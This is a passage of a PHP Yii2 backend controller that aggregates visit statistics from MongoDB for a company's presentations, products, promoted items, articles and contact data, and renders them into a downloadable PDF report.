                !empty($idsPortalsForPresentationsStatistics) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsPresentationStatisticsForms) : [], 
                !empty($idsPostDataForProductStatistics) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsProductsStatisticsForms) : [], 
                !empty($idsPostDataForPromotedProductStatistics) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsPromotedProductsStatisticsForms) : [],
                !empty($idsPostDataForCompanyPresentationPromotedStatistics) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsPresentationsPromotedStatisticsForms) : [],
                !empty($idsPostDataForArticleStatistics) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsArticlesStatisticsForms) : [], 
                !empty($idsPostDataForContactDataStatistics) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsContactDataStatisticsForms) : []
            );
        }
        
        if(Yii::$app->request->getIsPost() && (intval(Yii::$app->request->post('get', 0)) === 1)) { 
            if(!$modelCompanyStatisticsForm->load(Yii::$app->request->post()) 
                || (!empty($idsPortalsForPresentationsStatistics) && !\yii\base\Model::loadMultiple($modelsPresentationStatisticsForms, Yii::$app->request->post())) 
                || (!empty($idsPostDataForProductStatistics) && !\yii\base\Model::loadMultiple($modelsProductsStatisticsForms, Yii::$app->request->post())) 
                || (!empty($idsPostDataForPromotedProductStatistics) && !\yii\base\Model::loadMultiple($modelsPromotedProductsStatisticsForms, Yii::$app->request->post())) 
                || (!empty($idsPostDataForCompanyPresentationPromotedStatistics) && !\yii\base\Model::loadMultiple($modelsPresentationsPromotedStatisticsForms, Yii::$app->request->post())) 
                || (!empty($idsPostDataForArticleStatistics) && !\yii\base\Model::loadMultiple($modelsArticlesStatisticsForms, Yii::$app->request->post())) 
                || (!empty($idsPostDataForContactDataStatistics) && !\yii\base\Model::loadMultiple($modelsContactDataStatisticsForms, Yii::$app->request->post())) 
            ) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->redirect(['index', 'id' => $modelCompany->id_company]);
            }
            
            if(
                !$modelCompanyStatisticsForm->validate() 
                || (!empty($idsPortalsForPresentationsStatistics) && !\yii\base\Model::validateMultiple($modelsPresentationStatisticsForms)) 
                || (!empty($idsPostDataForProductStatistics) && !\yii\base\Model::validateMultiple($modelsProductsStatisticsForms)) 
                || (!empty($idsPostDataForPromotedProductStatistics) && !\yii\base\Model::validateMultiple($modelsPromotedProductsStatisticsForms)) 
                || (!empty($idsPostDataForCompanyPresentationPromotedStatistics) && !\yii\base\Model::validateMultiple($modelsPresentationsPromotedStatisticsForms)) 
                || (!empty($idsPostDataForArticleStatistics) && !\yii\base\Model::validateMultiple($modelsArticlesStatisticsForms)) 
                || (!empty($idsPostDataForContactDataStatistics) && !\yii\base\Model::validateMultiple($modelsContactDataStatisticsForms)) 
            ) {
                $errors = $modelCompanyStatisticsForm->getErrors();                
                $formSubmodels = [$modelsPresentationStatisticsForms, $modelsPresentationsPromotedStatisticsForms, $modelsProductsStatisticsForms, $modelsPromotedProductsStatisticsForms, $modelsArticlesStatisticsForms];
                foreach($formSubmodels as $submodelItemsForms) {
                    $errorsFromSubmodelsForms = [];
                    foreach($submodelItemsForms as $submodelItemForm) {
                        if($submodelItemForm->hasErrors()) {
                            foreach($submodelItemForm->getErrors() as $error) {
                                $errorsFromSubmodelsForms[] = $error;
                            }
                        }
                    }
                    $errors = \yii\helpers\ArrayHelper::merge($errors, $errorsFromSubmodelsForms);
                }
                Yii::$app->session->addFlash('error', $errors);
                return $this->render('index', $outputParams);
            }
            
            $modelCompanyInvoicingData = $modelCompany->getInvoicingData()->andWhere(['or_main' => 1])->one();
            if(empty($modelCompanyInvoicingData)) {
                Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
                return $this->redirect(['index', 'id' => $modelCompany->id_company]);
            }
            
            $commonSettings = $modelCompanyStatisticsForm->toArray();
//            var_dump($commonSettings); exit;
                
            if($modelCompanyStatisticsForm->format === CompanyStatisticsForm::FORMAT_PDF) { 
                $operatorData = $this->getOperatorData($modelCompanyStatisticsForm->idOperator);
                $companyInvoicingData = $modelCompanyInvoicingData->toArray();
                
                $inquiriesStats = [];
                if(intval($modelCompanyStatisticsForm->orInquiries) === 1) {
                    $inquiriesStats = $this->getStatsForInquiries($modelCompany, $modelCompanyStatisticsForm);
                    $this->createInquiriesStats($inquiriesStats, $modelCompany->id_company, $commonSettings);
                } 
                
                $contactDataStats = [];
                if(!empty($modelsContactDataStatisticsForms) && intval($modelCompanyStatisticsForm->orContactData) === 1) {
                    foreach($modelsContactDataStatisticsForms as $hash => $modelContactDataStatisticForm) {
                        list($idPortal, $typeAndValue) = explode('_', $hash);                        
                        $contactData = $modelContactDataStatisticForm->getContactData();
                        
                        if(!isset($contactDataStats[$idPortal]['views'])) {
                            $contactDataStats[$idPortal]['views'] = [];
                        }
                        
                        $contactDataStats[$idPortal]['views'][] = [
                            'type' => $contactData['type'],
                            'value' => $contactData['value'],
                            'numberOfViews' => (int)$modelContactDataStatisticForm->totalVisits
                        ]; 
                    } 
                    
                    foreach($contactDataStats as $idPortal => $dataByPortal) {
                        $contactDataStats[$idPortal]['total'] = 0;
                        foreach($dataByPortal['views'] as $data) {
                            $contactDataStats[$idPortal]['total'] += $data['numberOfViews'];
                        }

                        if(!empty($modelsPresentations[$idPortal])) {
                            $contactDataStats[$idPortal]['presentationPackageName'] = $modelsPresentations[$idPortal]->package->name;
                            $contactDataStats[$idPortal]['presentationStatus'] = $modelsPresentations[$idPortal]->status;
                        } else {
                            $contactDataStats[$idPortal]['presentationPackageName'] = null;
                            $contactDataStats[$idPortal]['presentationStatus'] = null;
                        }
                    }

                    $this->createStats('_statistics_contact_data', $contactDataStats, $modelCompany->id_company, $commonSettings, $operatorData, $companyInvoicingData, $modelsPortals);                
                } 
                
                $presentationsStats = [];
                if(!empty($modelsPresentationStatisticsForms) && intval($modelCompanyStatisticsForm->orPresentations) === 1) {                    
                    foreach($modelsPresentationStatisticsForms as $idPortal => $modelPresentationStatisticForm) {
                        $presentationsStats[$idPortal]['orAttachUniqueVisits'] = intval($modelPresentationStatisticForm->orAttachUniqueVisits) === 1 ? 1 : 0;                        
                        foreach(['totalVisits', 'totalUniqueVisits', 'tabContactDataVisits', 'tabContactDataUniqueVisits', 'tabPhotoGalleriesVisits', 'tabPhotoGalleriesUniqueVisits',
                            'tabVideoGalleriesVisits', 'tabVideoGalleriesUniqueVisits', 'tabReferencesAndAwardsVisits', 'tabReferencesAndAwardsUniqueVisits', 'tabAboutCompanyVisits', 
                            'tabAboutCompanyUniqueVisits', 'tabOfferVisits', 'tabOfferUniqueVisits', 'tabDownloadVisits', 'tabDownloadUniqueVisits', 'tabIndustriesAndCoverageVisits', 
                            'tabIndustriesAndCoverageUniqueVisits', 'tabProductsAndServicesVisits', 'tabProductsAndServicesUniqueVisits', 'tabPublicationsVisits', 'tabPublicationsUniqueVisits', 
                            'tabBranchesVisits', 'tabBranchesUniqueVisits', 'tabTrainingsVisits', 'tabTrainingsUniqueVisits'                            
                        ] as $fieldName) {
                            $presentationsStats[$idPortal][$fieldName] = $modelPresentationStatisticForm->$fieldName;
                        }
                        
                        if(!empty($modelsPresentations[$idPortal])) {
                            $presentationsStats[$idPortal]['presentationPackageName'] = $modelsPresentations[$idPortal]->getPackage()->select(['name'])->scalar();
                            $presentationsStats[$idPortal]['presentationStatus'] = $modelsPresentations[$idPortal]->status;
                            $presentationsStats[$idPortal]['availableTabs'] = $modelsPresentations[$idPortal]->getCompaniesTabs()->select(['id_tab'])->where(['status' => \common\models\types\Status::ACTIVE, 'or_empty' => 0])->column();
                        } else {
                            $presentationsStats[$idPortal]['presentationPackageName'] = null;
                            $presentationsStats[$idPortal]['presentationStatus'] = null;
                            $presentationsStats[$idPortal]['availableTabs'] = [];
                        } 
                    }
                    $this->createStats('_statistics_companies_presentations_visits', $presentationsStats, $modelCompany->id_company, $commonSettings, $operatorData, $companyInvoicingData, $modelsPortals);                                    
                }
                
                $presentationsPromotedStats = [];
                if(!empty($modelsPresentationsPromotedStatisticsForms) && intval($modelCompanyStatisticsForm->orPromotedPresentations) === 1) {
                    foreach($modelsPresentationsPromotedStatisticsForms as $idPresentation => $modelPresentationPromotedStatisticsForm) {
                        $modelPresentation = $modelPresentationPromotedStatisticsForm->getModelPresentation();
                        foreach([
                            'totalVisitsFromTopCompanies', 'totalUniqueVisitsFromTopCompanies', 'totalVisitsFromCategories', 'totalUniqueVisitsFromCategories', 'visitsFromCategories', 
                            'uniqueVisitsFromCategories', 'totalVisitsFromSearch', 'totalUniqueVisitsFromSearch', 'visitsFromSearch', 'uniqueVisitsFromSearch'
                        ] as $fieldName) {
                            $presentationsPromotedStats[$idPresentation][$fieldName] = $modelPresentationPromotedStatisticsForm->$fieldName;
                        }                        
                        $presentationsPromotedStats[$idPresentation]['presentationIdPortal'] = $modelPresentation->id_portal;
                        $presentationsPromotedStats[$idPresentation]['presentationPackageName'] = $modelPresentation->getPackage()->select(['name'])->scalar();
                        $presentationsPromotedStats[$idPresentation]['presentationStatus'] = $modelPresentation->status;                        
                        $presentationsPromotedStats[$idPresentation]['categoriesPathes'] = [];
                        if(!empty($modelPresentationPromotedStatisticsForm->visitsFromCategories)) {
                            foreach($modelPresentationPromotedStatisticsForm->visitsFromCategories as $idCategory => $numberOfVisits) {
                                if($numberOfVisits === 0) {
                                    continue;
                                }
                                $presentationsPromotedStats[$idPresentation]['categoriesPathes'][$idCategory] = !empty($companiesCategoriesPathes[intval($idCategory)]) ? !empty($companiesCategoriesPathes[intval($idCategory)]) : 'Kategoria usunięta (#'.$idCategory.')';
                            }
                        } 
                    }
                    $this->createStats('_statistics_companies_presentations_promoted_visits', $presentationsPromotedStats, $modelCompany->id_company, $commonSettings, $operatorData, $companyInvoicingData, $modelsPortals); 
                }
                
                $productsStats = [];
                if(!empty($modelsProductsStatisticsForms) && intval($modelCompanyStatisticsForm->orProducts) === 1) {
                    $modelsProductsStatisticsFormsByPortals = [];
                    foreach($modelsProductsStatisticsForms as $hash => $modelProductStatisticForm) {
                        list($idProduct, $idPortal) = explode('_', $hash);
                        $modelsProductsStatisticsFormsByPortals[(int)$idPortal][] = $modelProductStatisticForm;                         
                    }
                    
                    foreach($modelsPortals as $idPortal => $modelPortal) {
                        if(!empty($modelsPresentations[$idPortal])) {
                            $productsStats[$idPortal]['presentationPackageName'] = $modelsPresentations[$idPortal]->getPackage()->select(['name'])->scalar();
                            $productsStats[$idPortal]['presentationStatus'] = $modelsPresentations[$idPortal]->status;
                        } else {
                            $productsStats[$idPortal]['presentationPackageName'] = null;
                            $productsStats[$idPortal]['presentationStatus'] = null;
                        }                        
                        
                        if(!isset($productsStats[$idPortal]['products'])) {                            
                            $productsStats[$idPortal]['products'] = [];
                        }
                        
                        foreach($modelsProductsStatisticsFormsByPortals[$idPortal] as $modelProductStatisticsForm) {
                            $modelProduct = $modelProductStatisticsForm->getModelProduct();
                            $productsStats[$idPortal]['products'][$modelProduct->id_product] = [
                                'name' => $modelProduct->name,
                                'status' => $modelProduct->status,
                                'imageUrl' => $modelProduct->getImageUrl() ? $modelProduct->getImageUrl() : null
                            ];      
                            $productsStats[$idPortal]['products'][$modelProduct->id_product]['totalVisits'] = $modelProductStatisticsForm->totalVisits;
                            $productsStats[$idPortal]['products'][$modelProduct->id_product]['totalUniqueVisits'] = $modelProductStatisticsForm->totalUniqueVisits;
                        }                        
                    }
                    $this->createStats('_statistics_products_visits', $productsStats, $modelCompany->id_company, $commonSettings, $operatorData, $companyInvoicingData, $modelsPortals); 
                }

                $productsPromotedStats = [];
                if(!empty($modelsPromotedProductsStatisticsForms) && intval($modelCompanyStatisticsForm->orPromotedProducts) === 1) {
                    foreach($modelsPromotedProductsStatisticsForms as $hash => $modelPromotedProductStatisticForm) {
                        list($idProduct, $idPortal) = explode('_', $hash);                        
                        $modelProduct = $modelPromotedProductStatisticForm->getModelProduct();
                        $idProduct = $modelProduct->id_product;
                        foreach([
                            'totalVisitsFromTopProducts', 'totalUniqueVisitsFromTopProducts', 'totalVisitsFromCategories', 'totalUniqueVisitsFromCategories', 'visitsFromCategories', 
                            'uniqueVisitsFromCategories', 'totalVisitsFromSearch', 'totalUniqueVisitsFromSearch', 'visitsFromSearch', 'uniqueVisitsFromSearch'
                        ] as $fieldName) {
                            $productsPromotedStats[$idPortal][$modelProduct->id_product][$fieldName] = $modelPromotedProductStatisticForm->$fieldName;
                        }                     
                        $productsPromotedStats[$idPortal][$modelProduct->id_product]['name'] = $modelProduct->name;
                        $productsPromotedStats[$idPortal][$modelProduct->id_product]['imageUrl'] = $modelProduct->getImageUrl() ? $modelProduct->getImageUrl() : null;
                        $productsPromotedStats[$idPortal][$modelProduct->id_product]['categoriesPathes'] = [];
                        if(!empty($modelPromotedProductStatisticForm->visitsFromCategories)) {
                            foreach($modelPromotedProductStatisticForm->visitsFromCategories as $idCategory => $numberOfVisits) {
                                if($numberOfVisits === 0) {
                                    continue;
                                }
                                $productsPromotedStats[$idPortal][$modelProduct->id_product]['categoriesPathes'][$idCategory] = !empty($productsCategoriesPathes[intval($idCategory)]) ? $productsCategoriesPathes[intval($idCategory)] : 'Kategoria usunięta (#'.$idCategory.')';
                            }
                        }
                    }
                    $this->createStats('_statistics_promoted_products_visits', $productsPromotedStats, $modelCompany->id_company, $commonSettings, $operatorData, $companyInvoicingData, $modelsPortals);                     
                }
                
                if(!empty($modelsArticlesStatisticsForms)) {
                    foreach($modelsArticlesStatisticsForms as $hash => $modelArticleStatisticForm) {
                        if(intval($modelArticleStatisticForm->orSelected) !== 1) {
                            unset($modelsArticlesStatisticsForms[$hash]);
                        }
                    }
                }
                
                $articlesStats = [];
                if(!empty($modelsArticlesStatisticsForms) && intval($modelCompanyStatisticsForm->orArticles) === 1) {
                    foreach($modelsArticlesStatisticsForms as $hash => $modelArticleStatisticForm) {
                        list($idArticle, $idPortal) = explode('_', $hash);                        
                        $modelArticle = $modelArticleStatisticForm->getModelArticle();
                        $articlesStats[$idPortal][$modelArticle->id_article] = [
                            'title' => $modelArticle->title,
                            'status' => $modelArticle->status,
                            'publication_datetime' => $modelArticle->publication_datetime,
                            'imageUrl' => $modelArticle->getImageUrl() ? $modelArticle->getImageUrl() : null,
                            'totalVisits' => $modelArticleStatisticForm->totalVisits
                        ];                         
                    }  
                    $this->createStats('_statistics_articles_visits', $articlesStats, $modelCompany->id_company, $commonSettings, $operatorData, $companyInvoicingData, $modelsPortals); 
                }
                
                if(empty($this->tempFilesPatches)) {
                    Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
                    return $this->render('index', $outputParams);
                }
                
                $targetFilePath = Yii::getAlias('@runtime')."/temp/company_statistics_".$modelCompany->id_company."_".date('Y-m-d', strtotime($modelCompanyStatisticsForm->dateStart))."_".date('Y-m-d', strtotime($modelCompanyStatisticsForm->dateEnd)).".pdf";
//                $output = \common\components\helpers\Wkhtmltopdf::save(implode(' ', array_map(function($item) { return 'file:///'.$item; }, $this->tempFilesPatches)), $targetFilePath, '-T 8 -B 8 -L 8 -R 8');      
                $output = \common\components\helpers\PuppeteerHtmlToPdf::save(implode('|', array_map(function($item) { return 'file:///'.$item; }, $this->tempFilesPatches)), $targetFilePath, '-T=31 -B=31 -L=31 -R=31');  
                if($output['return'] !== 0) {           
                    foreach($this->tempFilesPatches as $tempFilePath) {
                        @unlink($tempFilePath);
                    }
                    @unlink($targetFilePath);
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas generowania pliku PDF.'));
                    return $this->redirect(['companiesstatistics/index', 'id' => $modelCompany->id_company]);          
                } 
                
                $modelCompanyStatisticsReport = new CompaniesStatisticsReports();
                $modelCompanyStatisticsReport->id_company = $modelCompany->id_company;
                $modelCompanyStatisticsReport->ids_portals = $modelCompanyStatisticsForm->listPortals;
                $modelCompanyStatisticsReport->id_operator = $modelCompanyStatisticsForm->idOperator;
                $modelCompanyStatisticsReport->inquiries_stats = $inquiriesStats;
                $modelCompanyStatisticsReport->contact_data_stats = $contactDataStats;
                $modelCompanyStatisticsReport->presentations_stats = $presentationsStats;
                $modelCompanyStatisticsReport->presentations_promoted_stats = $presentationsPromotedStats;
                $modelCompanyStatisticsReport->products_stats = $productsStats;
                $modelCompanyStatisticsReport->products_promoted_stats = $productsPromotedStats;
                $modelCompanyStatisticsReport->articles_stats = $articlesStats;
                $modelCompanyStatisticsReport->settings = $commonSettings;
                $modelCompanyStatisticsReport->company_invoicing_data = $companyInvoicingData;
                $modelCompanyStatisticsReport->operator_data = $operatorData;                
                $modelCompanyStatisticsReport->date_start = new \MongoDB\BSON\UTCDateTime(strtotime($modelCompanyStatisticsForm->dateStart) * 1000);
                $modelCompanyStatisticsReport->date_end = new \MongoDB\BSON\UTCDateTime(strtotime($modelCompanyStatisticsForm->dateEnd) * 1000);
                $modelCompanyStatisticsReport->report_datetime = new \MongoDB\BSON\UTCDateTime(strtotime($modelCompanyStatisticsForm->reportDatetime) * 1000);
                if(!$modelCompanyStatisticsReport->save()) {
                    Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
                    return $this->redirect(['companiesstatistics/index', 'id' => $modelCompany->id_company]);    
                }
                
                $response = Yii::$app->getResponse();
                $response->setDownloadHeaders(basename($targetFilePath), 'application/pdf');
                $response->sendFile($targetFilePath);
                $response->send();

                foreach($this->tempFilesPatches as $tempFilePath) {
                    @unlink($tempFilePath);
                }
                @unlink($targetFilePath);
                
                exit;
            }
        }

        return $this->render('index', $outputParams);
    }
    
    protected function getStatsForPresentations($modelCompanyStatisticsForm, $modelsPresentationStatisticsForms)
    {
        if(empty($modelsPresentationStatisticsForms)) {
            return;
        }
        
        $idsPresentations = [];
        $idsPortals = array_map('intval', array_keys($modelsPresentationStatisticsForms));
        foreach($modelsPresentationStatisticsForms as $idPortal => $modelPresentationStatisticsForm) {
            foreach($modelPresentationStatisticsForm->getAttributes() as $attributeName => $attributeValue) {
                $modelPresentationStatisticsForm->$attributeName = 0;
            }
            $idsPresentations[] = $modelPresentationStatisticsForm->getModelPresentation()->id_presentation;
        }
        
        $aggregateMatch = [
            '$match' => [
                'id_presentation' => $idsPresentations,
                'id_portal' => ['$in' => $idsPortals],
                'created_at' => [
                    '$gte' => new \MongoDB\BSON\UTCDateTime(strtotime($modelCompanyStatisticsForm->dateStart.' 00:00:00')*1000), 
                    '$lt' => new \MongoDB\BSON\UTCDateTime(strtotime($modelCompanyStatisticsForm->dateEnd.' 23:59:59')*1000)
                ]
            ],
        ];
        
        $collection = Yii::$app->mongodb->getCollection('companies_presentations_visits');
        $stats = $collection->aggregate([
            $aggregateMatch,
            [
                '$group' => [
                    '_id' => [
                        'id_presentation' => '$id_presentation',
                        'id_portal' => '$id_portal',
                        'id_tab' => '$id_tab',
                    ],
                    'count' => [
                        '$sum' => 1
                    ]
                ],
            ],
        ]);
        
        if(!empty($stats)) {
            foreach($stats as $item) {
                $idTab = $item['_id']['id_tab'];
                $idPortal = $item['_id']['id_portal'];
                $idPresentation = $item['_id']['id_presentation'];                
                $camelCaseTabName = str_replace(' ', '', ucwords(str_replace('_', ' ', mb_strtolower($idTab)))); 
                if(isset($modelsPresentationStatisticsForms[$idPortal])) {
                    $fieldName = 'tab'.$camelCaseTabName.'Visits';
                    $modelsPresentationStatisticsForms[$idPortal]->$fieldName = $item['count'];
                    $modelsPresentationStatisticsForms[$idPortal]->totalVisits += $item['count'];
                }
            }
        }
        
        $stats = $collection->aggregate([
            $aggregateMatch, 
            [
                '$group' => [
                    '_id' => [
                        'id_presentation' => '$id_presentation',
                        'id_portal' => '$id_portal',
                        'id_tab' => '$id_tab',
                        'visitor_uuid' => '$visitor_uuid'
                    ]
                ],
            ],
            [
                '$group' => [
                    '_id' => [
                        'id_presentation' => '$_id.id_presentation',
                        'id_portal' => '$_id.id_portal',
                        'id_tab' => '$_id.id_tab',
                    ],
                    'count' => [
                        '$sum' => 1
                    ]
                ],
            ],
        ]);
        
        if(!empty($stats)) {
            foreach($stats as $item) {
                $idTab = $item['_id']['id_tab'];
                $idPortal = $item['_id']['id_portal'];
                $idPresentation = $item['_id']['id_presentation'];                
                $camelCaseTabName = str_replace(' ', '', ucwords(str_replace('_', ' ', mb_strtolower($idTab)))); 
                if(isset($modelsPresentationStatisticsForms[$idPortal])) {
                    $fieldName = 'tab'.$camelCaseTabName.'UniqueVisits';
                    $modelsPresentationStatisticsForms[$idPortal]->$fieldName = $item['count'];
                    $modelsPresentationStatisticsForms[$idPortal]->totalUniqueVisits += $item['count'];
                }
            }
        }
        
//        $promotionTypes = [CompaniesPresentationsVisits::PROMOTION_TOP_COMPANY, CompaniesPresentationsVisits::PROMOTION_IN_CATEGORIES, CompaniesPresentationsVisits::PROMOTION_IN_SEARCH];
//        $promotionTypesFieldsPreffixes = ['topCompany', 'topPositionInCategories', 'topPositionInSearch'];
//        
//        for($i = 0; $i < 3; $i++) {
//            $totalVisitsField = $promotionTypesFieldsPreffixes[$i].'Visits';
//            $totalUniqueVisitsField = $promotionTypesFieldsPreffixes[$i].'UniqueVisits';
//            
//            $aggregateMatch = [
//                '$match' => [
//                    'id_presentation' => ['$in' => $idsPresentations],
//                    'id_portal' => ['$in' => $idsPortals],
//                    'promotion' => $promotionTypes[$i],
//                    'created_at' => [
//                        '$gte' => new \MongoDB\BSON\UTCDateTime(strtotime($modelCompanyStatisticsForm->dateStart.' 00:00:00')*1000), 
//                        '$lt' => new \MongoDB\BSON\UTCDateTime(strtotime($modelCompanyStatisticsForm->dateEnd.' 23:59:59')*1000)
//                    ]
//                ],
//            ];
//
//            $collection = Yii::$app->mongodb->getCollection('companies_presentations_visits');
//            $stats = $collection->aggregate([
//                $aggregateMatch,
//                [
//                    '$group' => [
//                        '_id' => [
//                            'id_presentation' => '$id_presentation',
//                            'id_portal' => '$id_portal',
//                        ],
//                        'count' => [
//                            '$sum' => 1
//                        ]
//                    ],
//                ],
//            ]);
//            
//            if(!empty($stats)) {
//                foreach($stats as $item) {
//                    $idPortal = $item['_id']['id_portal'];
//                    if(isset($modelsPresentationStatisticsForms[$idPortal])) {
//                        $modelsPresentationStatisticsForms[$idPortal]->$totalVisitsField += $item['count'];
//                    }
//                }
//            }
//
//            $stats = $collection->aggregate([
//                $aggregateMatch, 
//                [
//                    '$group' => [
//                        '_id' => [
//                            'id_presentation' => '$id_presentation',
//                            'id_portal' => '$id_portal',
//                            'visitor_uuid' => '$visitor_uuid'
//                        ]
//                    ],
//                ],
//                [
//                    '$group' => [
//                        '_id' => [
//                            'id_presentation' => '$_id.id_presentation',
//                            'id_portal' => '$_id.id_portal',
//                        ],
//                        'count' => [
//                            '$sum' => 1
//                        ]
//                    ],
//                ],
//            ]);
//
//            if(!empty($stats)) {
//                foreach($stats as $item) {
//                    $idPortal = $item['_id']['id_portal'];
//                    if(isset($modelsPresentationStatisticsForms[$idPortal])) {
//                        $modelsPresentationStatisticsForms[$idPortal]->$totalUniqueVisitsField += $item['count'];
//                    }
//                }
//            }
//        }
    }
    
    protected function getStatsForPresentationsNew($modelCompanyStatisticsForm, $modelsPresentationStatisticsForms)
    {
        if(empty($modelsPresentationStatisticsForms)) {
            return;
        }
        
        $numbersForPresentationsTabs = array_flip(\common\models\CompaniesPresentationsVisitsNew::getPresentationsTabsNumbers());
        
        $idsPresentations = [];
        $idsPortals = array_map('intval', array_keys($modelsPresentationStatisticsForms));
        foreach($modelsPresentationStatisticsForms as $idPortal => $modelPresentationStatisticsForm) {
            foreach($modelPresentationStatisticsForm->getAttributes() as $attributeName => $attributeValue) {
                $modelPresentationStatisticsForm->$attributeName = 0;
            }
            $idsPresentations[] = $modelPresentationStatisticsForm->getModelPresentation()->id_presentation;
        }
        
        $idMin = new \MongoDB\BSON\ObjectId(dechex(floor(strtotime($modelCompanyStatisticsForm->dateStart.' 00:00:00')))."0000000000000000");
        $idMax = new \MongoDB\BSON\ObjectId(dechex(floor(strtotime($modelCompanyStatisticsForm->dateEnd.' 23:59:59')))."0000000000000000");
        
        $aggregateMatch = [
            '$match' => [
                'pr' => $idsPresentations,
                'po' => ['$in' => $idsPortals],
                '_id' => [
                    '$gte' => $idMin, 
                    '$lt' => $idMax
                ]
//                'ca' => [
//                    '$gte' => new \MongoDB\BSON\UTCDateTime(strtotime($modelCompanyStatisticsForm->dateStart.' 00:00:00')*1000), 
//                    '$lt' => new \MongoDB\BSON\UTCDateTime(strtotime($modelCompanyStatisticsForm->dateEnd.' 23:59:59')*1000)
//                ]
            ],
        ];
        
        $collection = Yii::$app->mongodb->getCollection(\common\models\CompaniesPresentationsVisitsNew::collectionName());
        $stats = $collection->aggregate([
            $aggregateMatch,
            [
                '$group' => [
                    '_id' => [
                        'pr' => '$pr', //id_presentation
                        'po' => '$po', //id_portal
                        't' => '$t', //id_tab
                    ],
                    'count' => [
                        '$sum' => 1
                    ]
                ],
            ],
        ]);
        
        if(!empty($stats)) {
            foreach($stats as $item) {
                $idTab = $numbersForPresentationsTabs[$item['_id']['t']]; 
                $idPortal = $item['_id']['po']; 
                $idPresentation = $item['_id']['pr'];                
                $camelCaseTabName = str_replace(' ', '', ucwords(str_replace('_', ' ', mb_strtolower($idTab)))); 
                if(isset($modelsPresentationStatisticsForms[$idPortal])) {
                    $fieldName = 'tab'.$camelCaseTabName.'Visits';
                    $modelsPresentationStatisticsForms[$idPortal]->$fieldName = $item['count'];
                    $modelsPresentationStatisticsForms[$idPortal]->totalVisits += $item['count'];
                }
            }
        }
        
        $stats = $collection->aggregate([
            $aggregateMatch, 
            [
                '$group' => [
                    '_id' => [
                        'pr' => '$pr', //id_presentation
                        'po' => '$po', //id_portal
                        't' => '$t', //id_tab
                        'v' => '$v' //visitor_uuid
                    ]
                ],
            ],
            [
                '$group' => [
                    '_id' => [
                        'pr' => '$_id.pr', //id_presentation
                        'po' => '$_id.po', //id_portal
                        't' => '$_id.t', //id_tab
                    ],
                    'count' => [
                        '$sum' => 1
                    ]
                ],
            ],
        ]);
        
        if(!empty($stats)) {
            foreach($stats as $item) {
                $idTab = $numbersForPresentationsTabs[$item['_id']['t']];
                $idPortal = $item['_id']['po'];
                $idPresentation = $item['_id']['pr'];                
                $camelCaseTabName = str_replace(' ', '', ucwords(str_replace('_', ' ', mb_strtolower($idTab)))); 
                if(isset($modelsPresentationStatisticsForms[$idPortal])) {
                    $fieldName = 'tab'.$camelCaseTabName.'UniqueVisits';
                    $modelsPresentationStatisticsForms[$idPortal]->$fieldName = $item['count'];
                    $modelsPresentationStatisticsForms[$idPortal]->totalUniqueVisits += $item['count'];
                }
            }
        }
    }
    
    protected function getStatsForProducts($modelCompanyStatisticsForm, $modelsProductsStatisticsForms)
    {
        if(empty($modelsProductsStatisticsForms)) {
            return;
        }
        
        $idsProducts = [];
        $idsPortals = [];        
        foreach($modelsProductsStatisticsForms as $hash => $modelProductStatisticsForm) {
            list($idProduct, $idPortal) = explode('_', $hash);
            $idsProducts[intval($idProduct)] = intval($idProduct);
            $idsPortals[intval($idPortal)] = intval($idPortal);
            $modelProductStatisticsForm->totalVisits = 0;
            $modelProductStatisticsForm->totalUniqueVisits = 0;
        }        
        $idsProducts = array_values($idsProducts);
        $idsPortals = array_values($idsPortals);
        
        $aggregateMatch = [
            '$match' => [
                'id_product' => ['$in' => $idsProducts],
                'id_portal' => ['$in' => $idsPortals],
                'created_at' => [
                    '$gte' => new \MongoDB\BSON\UTCDateTime(strtotime($modelCompanyStatisticsForm->dateStart.' 00:00:00')*1000), 
                    '$lt' => new \MongoDB\BSON\UTCDateTime(strtotime($modelCompanyStatisticsForm->dateEnd.' 23:59:59')*1000)
                ]
            ],
        ];
        
        $collection = Yii::$app->mongodb->getCollection('products_visits');
        $stats = $collection->aggregate([
            $aggregateMatch,
            [
                '$group' => [
                    '_id' => [
                        'id_product' => '$id_product',
                        'id_portal' => '$id_portal',
                    ],
                    'count' => [
                        '$sum' => 1
                    ]
                ],
            ],
        ]);
        
        if(!empty($stats)) {
            foreach($stats as $item) {
                $idPortal = $item['_id']['id_portal'];
                $idProduct = $item['_id']['id_product'];
                $hash = $idProduct.'_'.$idPortal; 
                if(isset($modelsProductsStatisticsForms[$hash])) {
                    $modelsProductsStatisticsForms[$hash]->totalVisits += $item['count'];
                }
            }
        }
        
        $stats = $collection->aggregate([
            $aggregateMatch, 
            [
                '$group' => [
                    '_id' => [
                        'id_product' => '$id_product',
                        'id_portal' => '$id_portal',
                        'visitor_uuid' => '$visitor_uuid'
                    ]
                ],
            ],
            [
                '$group' => [
                    '_id' => [
                        'id_product' => '$_id.id_product',
                        'id_portal' => '$_id.id_portal',
                    ],
                    'count' => [
                        '$sum' => 1
                    ]
                ],
            ],
        ]);
        
        if(!empty($stats)) {
            foreach($stats as $item) {
                $idPortal = $item['_id']['id_portal'];
                $idProduct = $item['_id']['id_product'];                
                $hash = $idProduct.'_'.$idPortal;
                if(isset($modelsProductsStatisticsForms[$hash])) {
                    $modelsProductsStatisticsForms[$hash]->totalUniqueVisits += $item['count'];
                }
            }
        }
    }
    
    protected function getStatsForProductsNew($modelCompanyStatisticsForm, $modelsProductsStatisticsForms)
    {
        if(empty($modelsProductsStatisticsForms)) {
            return;
        }
        
        $idsProducts = [];
        $idsPortals = [];        
        foreach($modelsProductsStatisticsForms as $hash => $modelProductStatisticsForm) {
            list($idProduct, $idPortal) = explode('_', $hash);
            $idsProducts[intval($idProduct)] = intval($idProduct);
            $idsPortals[intval($idPortal)] = intval($idPortal);
            $modelProductStatisticsForm->totalVisits = 0;
            $modelProductStatisticsForm->totalUniqueVisits = 0;
        }        
